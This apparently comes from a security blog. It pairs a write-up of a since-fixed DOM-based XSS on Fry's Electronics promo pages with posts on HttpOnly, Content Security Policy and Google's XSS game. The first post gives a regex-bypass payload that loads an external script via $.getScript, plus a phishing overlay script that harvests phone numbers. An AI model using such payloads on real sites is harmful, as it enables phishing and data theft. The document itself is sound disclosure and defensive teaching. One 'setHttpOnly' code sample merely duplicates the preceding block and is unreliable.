DOM-based XSS in the Wild


Editor’s Note: Today’s post is from Phillip Pham. Phillip is a Security Engineer at APT Security Solutions. In this post, Phillip walks through a cross-site scripting vulnerability he identified in the Fry’s web application.

Disclaimer
At the time of writing, the stated vulnerability has already been remediated by Fry’s Electronics. Thank you for taking swift action!

Background
Fry’s Electronics is a consumer electronic retail chain that has presence in various regions across the country. Fry’s Electronics introduced a marketing concept to promote sales and track consumers’ spending habits by providing personalized “Promo Code”. These codes once presented at either online and/or local store will provide shoppers additional discounts to their electronic goods.

Consumers are contacted by Fry’s Electronics marketing “bot” periodically via emails which include the aforementioned promo code (as seen in screenshot below). To view full list of discounted products, consumers are required to click on the provided link (example below) with promo code attached as a data parameter which is part of the URL.

Promotional product listing URLs
This URL is hosted by a Limelight Networks, who is a Content Delivery Network (CDN) vendor.
[sourcecode]
https://frys.hs.llnwd.net/…..?promocode=1234567%0D
[/sourcecode]

When viewing advertising materials on a mobile device.
[sourcecode]
https://images.frys.com/…?promocode=1234567%0D
[/sourcecode]

FrysSample

The Vulnerability
Web applications are often vulnerable to a commonly found attack, Cross Site Scripting (aka XSS), which leverages the lack of output encoding and input validation within a web application. The exploit allows a malicious actor (hacker) to embed JavaScript content (payloads) into the end-users browser and execute malicious code. Often, this results in phishing for users credentials, credit card information, malware distribution, and other malicious activities. Exploiting these vulnerabilities is usually fairly simple, yet yields devastating impact to end-users.

Because Fry’s Electronics marketing web site exposes the promo code via an unfiltered data parameter, “promocode”, thus creates an attack vector for XSS exploitation.

Initial Test
To confirm the Cross-Site Scripting vulnerability, a malicious payload was appended to the end of the promotion code parameter as follows:

[sourcecode]
https://frys.hs.llnwd.net/……/?promocode=1234567alert(1)
[/sourcecode]

Immediately, a popup displayed as shown in screenshot below and the vulnerability was confirmed:

FrysXss

Lets take a look at the offending code:

[sourcecode]
var promocode = getUrlParameter(‘promocode’);
var pattern = new RegExp(“[0-9]{1,7}”);
var result = pattern.test(promocode);
var default_text = “Your PromoCode for this email:”+promocode;

if(result){
$(“.prcode”).html(default_text);
}
});
[/sourcecode]

Do you see any problems here? The “promocode” value, which is partially validated on line 3, is written to the browser using the raw .html method on line 7:

Phishing Campaign
As previously mentioned, XSS allows malicious actors to conduct phishing campaigns to lure their victims to provide personal information. With given context, the phishing campaign proof-of-concept built to trick the users to provide their personal cell phone numbers to further widen attack surface to infect consumer mobile devices leverage exploits (e.g. Stagefright (Android) or an iOS 0-day).

FrysPhishing

Note: The content of the floating panel (red) is loaded from an externally hosted JavaScript file which was embedded as part of the legitimate Fry’s marketing site.

Evasions
Although, simple exploitation (alert popup) of the vulnerability requires very minimal effort. However, such exploitation does not allow a full delivery of the stated phishing campaign to the victims, thus diminishing the success rate. Upon further research and analysis of the web application HTML source code, in order to fully deliver the payload, the following series of events must take place:

  • Allow legitimate content to be completely loaded
  • Deliver externally hosted payload
  • Victims are required to provide cell phone number before able to dismiss such dialog (via floating DIV)

Evasion #1: Regular Expression Bypass
The application employs a “numbers only” validation against the actual “promocode” data parameter via client-side JavaScript (no further server-side validation):

[sourcecode]
var promocode = getUrlParameter(‘promocode’);
var pattern = new RegExp(“[0-9]{1,7}”);
var result = pattern.test(promocode);
[/sourcecode]

The regular expression above tests for numeric values of the first 7 characters which can be easily bypassed as trailing characters (starting at 8th position) will not be validated. Hence, the payload executed during our Initial Test.

Evasion #2: The equal sign (=) breaks trailing payloads
The application obtains the name and value of the promo code data parameter via the “getUrlParameter” (snippet below).

[sourcecode]
function getUrlParameter(sParam) {
var sPageURL = decodeURIComponent(window.location.search.substring(1)),
sURLVariables = sPageURL.split(‘&’),
sParameterName,
i;

for (i = 0; i < sURLVariables.length; i++) {
sParameterName = sURLVariables[i].split('=');

if (sParameterName[0] === sParam) {
return sParameterName[1] === undefined ? true : sParameterName[1];
}
}
[/sourcecode]

With current script implementation, given the payload:

[sourcecode]
?promocode=1234567/script>
[/sourcecode]

The trailing external URL will be nullified because the script detected the equal (=) sign and treated as another set of parameter/value pair. Thus yields the output:

[sourcecode]
1234567<script src
[/sourcecode]

To defeat this logic, the payload must not contain the equal (=) sign.

Evasion #3: The Working Payload
Upon further review, the application employs Google JQuery technologies to dynamically render contents. Furthermore, JQuery allows loading of external script (acting as src) via its .getScript(‘url’) method which does not require an equal sign (=). Example of using JQuery to reference external scripts below.

[sourcecode]
$.getScript(%27https://localhost/test.js%27,function(){})
[/sourcecode]

Putting it altogether
Once evasions had been fully deployed, the remaining payload is trivial, thus the following payload will allow rendering of phishing content as shown below.

[sourcecode]
?promocode=1234567%3Cscript%3E$(document).ready(function(event){$.getScript(%27https://localhost/test.js%27,function(){})});%3C/script%3E
[/sourcecode]

The evil JavaScript file (test.js) contains the following content:

[sourcecode]
var div = document.createElement(“div”);
div.style.width = “700px”;
div.style.height = “150px”;
div.style.background = “red”;
div.style.color = “white”;
div.innerHTML = “CONGRATLUATIONS…”;
div.style.position = “absolute”; //floating div
div.style.top = “20%”; //floating div
div.style.left = “20%”; //floating div
document.getElementsByTagName(‘body’)[0].appendChild(div);
[/sourcecode]

As you can see from the screenshot below, the form is injected into the page and asks the user for their phone number:

FrysPayload1

Then, pressing submit results in the the phone number being sent to the evil site:

FrysPayload2

Mitigation Strategies
As we have seen many times before, XSS vulnerabilities can be fixed using a combination of output encoding and input validation. Some simple mitigations are as follows:

  • This a classic DOM-based XSS vulnerability. OWASP provides a DOM-based XSS Prevention Cheat Sheet for fixing this. Short story – using an encoding library (e.g. jQuery Encoder) to HTML encode the promo code before writing it to the page
  • Fix the validation routine to check the entire input value

For more information on defending applications, check out the awesome courses available in SANS Application Security curriculum.

About the Author
Phillip Pham is a security engineer with a strong passion for Information Security. Phillip has worked in various sectors and for organizations of various sizes, ranging from small start-ups to Fortune 500 companies. Prior to transitioning into an Information Security career, Phillip spent ten years in software engineering. His last five years of Information Security experience have been focused on Application Security. Some of his application security assessment strengths (both onpremise and cloudbased) include web applications, web services, APIs, Windows client applications, and mobile applications. He currently holds a GCIH certification and is cofounder of APT Security Solutions. Follow Phillip on Twitter @philaptsec.

How to Prevent XSS Without Changing Code

To address security defects developers typically resort to fixing design flaws and security bugs directly in their code. Finding and fixing security defects can be a slow, painstaking, and expensive process. While development teams work to incorporate security into their development processes, issues like Cross-Site Scripting (XSS) continue to plague many commonly used applications.

In this post we’ll discuss two HTTP header related protections that can be used to mitigate the risk of XSS without having to make large code changes.

HttpOnly
One of the most common XSS attacks is the theft of cookies (especially session ids). The HttpOnly flag was created to mitigate this threat by ensuring that Cookie values cannot be accessed by client side scripts like JavaScript. This is accomplished by simply appending “; HttpOnly” to a cookie value. All modern browsers support this flag and will enforce that the cookie cannot be accessed by JavaScript, thereby preventing session hijacking attacks.

Older versions of the Java Servlet specification did not provide a standard way to define the JSESSIONID as “HttpOnly”. As of Servlet 3.0, the HttpOnly flag can be enabled in web.xml as follows:

<session-config>
  <cookie-config>
    <http-only>true</http-only>
  </cookie-config>
</session-config>

Aside from this approach in Servlet 3.0, older versions of Tomcat allowed the HttpOnly flag to be set with the vendor-specific “useHttpOnly” attribute in server.xml. This attribute was disabled by default in Tomcat 5.5 and 6. But, starting with Tomcat 7, the “useHttpOnly” attribute is enabled by default. So, even if you configure web.xml to be “false” in Tomcat 7, your JSESSIONID will still be HttpOnly unless you change the default behavior in server.xml as well.

Alternatively, you can programmatically add an HttpOnly cookie directly to the request using the following code:
String cookie = "mycookie=test; Secure; HttpOnly";
response.addHeader("Set-Cookie", cookie);

Fortunately, the Servlet 3.0 API was also updated to with a convenience method called setHttpOnly for adding the HttpOnly flag:
String cookie = "mycookie=test; Secure; HttpOnly";
response.addHeader("Set-Cookie", cookie);

Content Security Policy
Content Security Policy (CSP) is a mechanism to help mitigate injection vulnerabilities like XSS by defining a list of approved sources of content. For example, approved sources of JavaScript can be defined to be from certain origins and any other JavaScript would not be allowed to execute. The official HTTP header used to define CSP policies is Content-Security-Policy and can be used like this:

Content-Security-Policy:
default-src 'none';
script-src https://*.sanscdn.org
           https://ssl.google-analytics.com;
style-src 'self'
img-src https://*.sanscdn.org
font-src https://*.sanscdn.org

In this example you can see that CSP can be used to define a whitelist of allowable content sources using default-src 'none' and the following directives:
script-src – scripts can only be loaded from a specfic content delivery network (CDN) or from Google Analytics
style-src – Styles can only be loaded from the current origin
img-src and font-src – images and fonts can only be loaded from the CDN

By using the Content-Security-Policy header with directives like this you can easily harden your application against XSS. It sounds easy enough but there are some important limitations. CSP requires that there are no inline scripts or styles in your application. This means that all JavaScript in your application has to be externalized into .js files. Basically, you can’t have inline <script> tags or call any functions which allow JavaScript execution from strings (e.g. eval, setTimeout, setInterval). This can be a problem for legacy applications that need to be refactored.

As a result, the CSP specification also provides a Content-Security-Policy-Report-Only header that does not block any scripts in your application from running but simply sends JSON formatted reports so that you can be alerted when something might have broken as a result of CSP. By enabling this header, you can test and update your app slowly over time while gaining visibility into areas that need to be refactored.

If you’d like to learn more about protecting your Java and web-based applications sign up for DEV541: Secure Coding in Java being held in Reston, VA starting March 9.

The Google Cross-Site Scripting Challenge

If you didn’t know already, Google takes its application security seriously, especially when it comes to Cross-Site Scripting. They already have a Vulnerability Rewards Program and XSS Learning Documentation posted on their application security site. A few weeks ago, I saw some chatter on Twitter about a new approach for teaching folks about Cross-Site Scripting: The XSS Game! Wait a second, teach people about XSS by playing a game? It sounds like an app I would download on my tablet for my daughter to play with. Brilliant! Where do I sign up?

The Welcome screen contains some background information about XSS, Google’s vulnerability rewards program, and a link that takes you into the 1st of 6 missions. The goal of each mission is to get a JavaScript alert box to popup in the embedded browser.

Each level has a few hints, and a link to view the Python, HTML, and JavaScript source code running in the embedded browser. For those that do web development or code review regularly, this is a perfect way to quickly spot the vulnerability on each level. Sounds easy enough, right?

As the game progresses, you will find that reflected, persisted, and DOM XSS attacks are all covered. The various levels also require writing different types of payloads to exploit XSS in HTML, JavaScript, HTML Attribute, and URL contexts. Other vulnerabilities such as remote JavaScript file inclusion and weak data validation also come into play as you work through the levels. And of course, cake is your prize for completing all 6 levels!

Overall, I’d say this game does a fantastic job of challenging developers to think about the various ways that Cross-Site Scripting can be introduced into an application. It combines two very important skill sets for those working in application security: code review analysis and dynamic testing, both of which are needed to fully assess the security of a web application.

Are you up for the challenge? https://xss-game.appspot.com/

About the Author
Eric Johnson is a security consultant at Cypress Data Defense, and an instructor and contributing author for the SANS DEV544 Secure Coding in .NET course. He previously spent six years performing web application security assessments for a large financial institution, and another four years focusing on ASP .NET web development. Other experience includes developing security tools, secure code review, vulnerability assessment, penetration testing, risk assessment, static source code analysis, and security research. Eric completed a bachelor of science in computer engineering and a master of science in information assurance at Iowa State University. Eric currently holds the CISSP, GWAPT, and GSSP-.NET, certifications and is located in West Des Moines, IA. Follow Eric on Twitter @emjohn20.